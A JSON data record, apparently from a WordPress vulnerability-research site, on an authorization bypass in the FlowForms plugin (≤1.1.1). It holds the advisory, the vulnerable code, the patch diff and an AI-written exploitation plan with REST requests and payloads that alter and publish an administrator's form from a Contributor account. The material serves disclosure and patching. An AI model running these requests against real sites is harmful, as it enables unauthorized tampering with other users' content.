[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fQtqOcaGvXyO4UqHV3sA5B_oOf08xzYgwCbh8ja3Fg5s":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-12400","flowforms-authenticated-contributor-insecure-direct-object-reference-to-arbitrary-form-modification-via-rest-api-flowfor","FlowForms \u003C= 1.1.1 - Authenticated (Contributor+) Insecure Direct Object Reference to Arbitrary Form Modification via REST API '\u002Fflowforms\u002Fv1\u002Fforms\u002F{id}' Endpoints","The FlowForms – Conversational Form Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.1.1 via the update_form due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to modify the content, design, and settings of, as well as publish or revert, any form on the site — including forms owned by administrators — by supplying an arbitrary form ID in the REST URL.","flowforms",null,"\u003C=1.1.1","1.1.2","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-07-09 19:17:45","2026-07-10 07:48:43",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7f4e6133-f833-4da2-af4a-e7e7fcedfe3c?source=api-prod",1,[22,23,24,25,26,27,28,29],"build\u002Fbuilder\u002Findex.asset.php","build\u002Fbuilder\u002Findex.js","build\u002Fbuilder\u002Fstyle-index-rtl.css","build\u002Fbuilder\u002Fstyle-index.css","build\u002Fform\u002Findex.asset.php","build\u002Fform\u002Findex.js","flowforms.php","includes\u002Fclass-rest-api.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-12400 (FlowForms IDOR)\n\n## 1. Vulnerability Summary\nThe **FlowForms** plugin (\u003C= 1.1.1) is vulnerable to an **Authenticated Insecure Direct Object Reference (IDOR)** within its REST API. Specifically, the `\u002Fflowforms\u002Fv1\u002Fforms\u002F{id}` endpoints (and sub-endpoints like `\u002Fpublish` and `\u002Frevert`) fail to verify if the authenticated user has permission to modify the specific form identified by `{id}`. While the `permission_callback` checks for the `edit_posts` capability (allowing Contributors and above), it does not implement any ownership or granular authorization checks. This allows a Contributor-level user to modify, publish, or revert forms created by Administrators.\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Endpoints:** \n    *   `POST\u002FPUT \u002Fwp-json\u002Fflowforms\u002Fv1\u002Fforms\u002F(?P\u003Cid>\\d+)` (Callback: `update_form`)\n    *   `POST \u002Fwp-json\u002Fflowforms\u002Fv1\u002Fforms\u002F(?P\u003Cid>\\d+)\u002Fpublish` (Callback: `publish_form`)\n    *   `POST \u002Fwp-json\u002Fflowforms\u002Fv1\u002Fforms\u002F(?P\u003Cid>\\d+)\u002Frevert` (Callback: `revert_form`)\n*   **Authentication Requirement:** Authenticated user with `edit_posts` capability (Contributor, Author, Editor, or Admin).\n*   **Payload Parameter:** The `{id}` in the REST URL is the primary vector. The request body for `update_form` typically contains form data (JSON).\n*   **Preconditions:** \n    *   The attacker must have a valid account with at least Contributor permissions.\n    *   The attacker must know or guess the `id` of the target form (Forms are stored as a custom post type, likely `flowforms`).\n\n## 3. Code Flow\n1.  **Registration:** In `includes\u002Fclass-rest-api.php`, the `register_routes` method defines the routes.\n2.  **Authorization:** The `permission_callback` for the update\u002Fpublish\u002Frevert routes is: `fn() => current_user_can('edit_posts')`. This returns `true` for any Contributor.\n3.  **Callback Execution:** When a request hits `\u002Fforms\u002F{id}`, the `update_form($request)` method is called.\n4.  **Processing:** The method extracts the `id` from the request: `$id = $request->get_param('id');`.\n5.  **Sink:** It then proceeds to update the post content or metadata using the provided `$id` without verifying if `get_post($id)->post_author` matches the current user.\n\n## 4. Nonce Acquisition Strategy\nSince this is a WordPress REST API exploit, the `wp_rest` nonce is required for any request using cookie authentication.\n\n1.  **Log in** as the Contributor user using `browser_navigate`.\n2.  **Navigate** to the WordPress Dashboard (`\u002Fwp-admin\u002F`).\n3.  **Extract Nonce:** Use `browser_eval` to extract the REST nonce from the global `wpApiSettings` object.\n    *   **JavaScript:** `window.wpApiSettings?.nonce`\n4.  **Usage:** Include this nonce in the `X-WP-Nonce` header of all subsequent `http_request` calls.\n\n## 5. Exploitation Strategy\nThis plan focuses on modifying an Admin's form using a Contributor account.\n\n### Step 1: Discover Target Form ID\nThe attacker can use the `GET \u002Fwp-json\u002Fflowforms\u002Fv1\u002Fforms` endpoint (also available to Contributors) to list all forms on the site and identify the ID of a form owned by an Admin.\n\n### Step 2: Perform the IDOR Update\nSend a request to update the target form's content.\n\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fflowforms\u002Fv1\u002Fforms\u002F{TARGET_ID}`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [EXTRACTED_NONCE]`\n*   **Payload (JSON):**\n    ```json\n    {\n      \"form_data\": {\n        \"content\": {\n          \"welcomeScreen\": {\n            \"title\": \"Hacked by Contributor\",\n            \"description\": \"Your form has been modified.\"\n          }\n        }\n      }\n    }\n    ```\n\n### Step 3: Publish the Change\nTo make the change live, trigger the publish endpoint.\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fflowforms\u002Fv1\u002Fforms\u002F{TARGET_ID}\u002Fpublish`\n*   **Headers:** `X-WP-Nonce: [EXTRACTED_NONCE]`\n\n## 6. Test Data Setup\n1.  **Create Admin Form:** Use WP-CLI to create a form owned by the Administrator.\n    ```bash\n    # Create the FlowForm post type (assuming the slug is 'flowforms')\n    wp post create --post_type=flowforms --post_title=\"Admin Secret Form\" --post_status=publish --post_author=1 --post_content='{\"content\":{\"published\":{\"welcomeScreen\":{\"title\":\"Original Title\"}}},\"design\":{},\"settings\":{}}'\n    ```\n2.  **Identify Form ID:** Note the ID of the created post.\n3.  **Create Contributor:**\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n    ```\n\n## 7. Expected Results\n*   The `update_form` request should return a `200 OK` response with the updated form object.\n*   The `publish_form` request should return a `200 OK`.\n*   The form content in the database should now reflect the \"Hacked by Contributor\" payload.\n\n## 8. Verification Steps\nAfter the exploit, verify the change using WP-CLI:\n```bash\n# Check the post content of the Admin's form\nwp post get {TARGET_ID} --field=post_content\n```\nIf successful, the output will contain `\"title\":\"Hacked by Contributor\"`.\n\n## 9. Alternative Approaches\nIf the `update_form` logic requires a specific internal structure (checked via `decode_slots` and `extract_design`), the attacker can first perform a `GET \u002Fwp-json\u002Fflowforms\u002Fv1\u002Fforms\u002F{TARGET_ID}` (as a Contributor) to obtain the existing structure, modify the JSON locally, and then send the `POST` request to `update_form` with the full modified object to ensure compatibility.","The FlowForms plugin for WordPress contains an Insecure Direct Object Reference (IDOR) vulnerability in its REST API endpoints. Authenticated users with Contributor-level permissions or higher can modify, publish, or revert any form on the site, regardless of ownership, because the API fails to verify if the user has permission to edit the specific form ID provided in the request.","\u002F\u002F includes\u002Fclass-rest-api.php\n\n    \u002F\u002F Update form (builder auto-saves to draft slot)\n    register_rest_route($ns, '\u002Fforms\u002F(?P\u003Cid>\\d+)', [\n      'methods'  => WP_REST_Server::EDITABLE,\n      'callback' => [$this, 'update_form'],\n      'permission_callback' => fn() => current_user_can('edit_posts'),\n    ]);\n\n    \u002F\u002F Update form design — writes directly to published slot (and draft if exists)\n    register_rest_route($ns, '\u002Fforms\u002F(?P\u003Cid>\\d+)\u002Fdesign', [\n      'methods'             => WP_REST_Server::EDITABLE,\n      'callback'            => [$this, 'update_design'],\n      'permission_callback' => fn() => current_user_can('edit_posts'),\n    ]);\n\n    \u002F\u002F ... (lines 72-90 similar for \u002Fsettings, \u002Fpublish, and \u002Frevert)","--- a\u002Fincludes\u002Fclass-rest-api.php\n+++ b\u002Fincludes\u002Fclass-rest-api.php\n@@ -58,31 +58,41 @@\n     register_rest_route($ns, '\u002Fforms\u002F(?P\u003Cid>\\d+)', [\n       'methods'  => WP_REST_Server::EDITABLE,\n       'callback' => [$this, 'update_form'],\n-      'permission_callback' => fn() => current_user_can('edit_posts'),\n+      'permission_callback' => function($request) {\n+          return current_user_can('edit_post', $request['id']);\n+      },\n     ]);\n \n     register_rest_route($ns, '\u002Fforms\u002F(?P\u003Cid>\\d+)\u002Fdesign', [\n       'methods'             => WP_REST_Server::EDITABLE,\n       'callback'            => [$this, 'update_design'],\n-      'permission_callback' => fn() => current_user_can('edit_posts'),\n+      'permission_callback' => function($request) {\n+          return current_user_can('edit_post', $request['id']);\n+      },\n     ]);\n \n     register_rest_route($ns, '\u002Fforms\u002F(?P\u003Cid>\\d+)\u002Fsettings', [\n       'methods'             => WP_REST_Server::EDITABLE,\n       'callback'            => [$this, 'update_settings'],\n-      'permission_callback' => fn() => current_user_can('edit_posts'),\n+      'permission_callback' => function($request) {\n+          return current_user_can('edit_post', $request['id']);\n+      },\n     ]);\n \n     register_rest_route($ns, '\u002Fforms\u002F(?P\u003Cid>\\d+)\u002Fpublish', [\n       'methods'             => 'POST',\n       'callback'            => [$this, 'publish_form'],\n-      'permission_callback' => fn() => current_user_can('edit_posts'),\n+      'permission_callback' => function($request) {\n+          return current_user_can('edit_post', $request['id']);\n+      },\n     ]);\n \n     register_rest_route($ns, '\u002Fforms\u002F(?P\u003Cid>\\d+)\u002Frevert', [\n       'methods'             => 'POST',\n       'callback'            => [$this, 'revert_form'],\n-      'permission_callback' => fn() => current_user_can('edit_posts'),\n+      'permission_callback' => function($request) {\n+          return current_user_can('edit_post', $request['id']);\n+      },\n     ]);","To exploit this vulnerability, an attacker first authenticates as a Contributor-level user and obtains a valid WordPress REST API nonce from the dashboard. The attacker then identifies the ID of a target form (such as one created by an Administrator) by listing forms via the `GET \u002Fwp-json\u002Fflowforms\u002Fv1\u002Fforms` endpoint. Finally, the attacker sends a POST or PUT request to `\u002Fwp-json\u002Fflowforms\u002Fv1\u002Fforms\u002F{id}` (or its sub-endpoints like `\u002Fpublish`) with a modified JSON payload in the `form_data` body. Because the plugin only checks if the user has the general `edit_posts` capability rather than checking ownership of the specific form ID, the server processes the unauthorized modification.","gemini-3-flash-preview","2026-07-15 10:45:58","2026-07-15 10:46:33",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.1.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fflowforms\u002Ftags\u002F1.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fflowforms.1.1.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fflowforms\u002Ftags\u002F1.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fflowforms.1.1.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fflowforms\u002Ftags"]